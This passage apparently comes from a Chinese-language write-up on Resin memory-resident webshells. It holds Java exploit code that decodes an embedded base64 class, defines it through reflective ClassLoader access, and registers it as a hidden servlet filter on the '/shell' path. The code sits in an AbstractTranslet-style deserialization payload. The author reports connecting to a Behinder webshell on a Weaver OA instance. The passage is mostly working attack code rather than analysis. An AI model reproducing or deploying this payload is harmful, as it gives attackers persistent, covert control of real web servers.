AIVxkHEgkZBLYACFcZBxIKGQa2AAhXEgs6CBkGEgwZCLkADQMAEg64AA86CRkJBbsAEFkZCLYAERIOtwAStgATEhS4ABUSFga9ABdZAxIYU1kEsgAZU1kFsgAZU7YAGjoKGQoEtgAbGQm7ABxZtwAdGQW5AB4BALYAH7YAILYAIToLGQoqtgAitgAjBr0AJFkDGQtTWQQDuAAlU1kFGQu+uAAlU7YAJsAAFzoMGQy2ACcZB7YAKFctGQUZBLkAKQMApwAKOgQZBLYAK7EAAQAAAOcA6gAqAAMAMgAAAFYAFQAAABcABgAYAAwAGQAVABoAHgAbACgAHAAyAB0APAAeAEAAHwBLACAAUgAhAGYAIgCHACMAjQAkAKgAJQDSACYA3QAoAOcAKwDqACkA7AAqAPEALAAzAAAAjgAOAAYA4QA9AD4ABAAMANsAPwBAAAUAFQDSAEEAQgAGAB4AyQBDAEQABwBAAKcARQBGAAgAUgCVAEcASAAJAIcAYABJAEoACgCoAD8ASwBMAAsA0gAVAE0ATgAMAOwABQBPAFAABAAAAPIANAA1AAAAAADyAFEAUgABAAAA8gBTAFQAAgAAAPIAVQBWAAMAVwAAAAkAAvcA6gcAWAYAAQBZAAAAAgBa");
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilter = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), evilBytes, 0, evilBytes.length);
FilterMapping filterMapping = new FilterMapping();
filterMapping.setFilterClass(evilFilter.getName());
filterMapping.setFilterName(evilFilter.getName());
FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();
urlPattern.addText("/shell");
urlPattern.init();
webApp.addFilterMapping(filterMapping);
}catch (Exception e){}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
测试一下泛微oa,可以看到成功连接冰蝎
参考:
https://github.com/pen4uin/awesome-java-security/tree/main/middleware/resin/note
Resin内存马分析
Resin回显及内存马
Resin内存马逆袭之路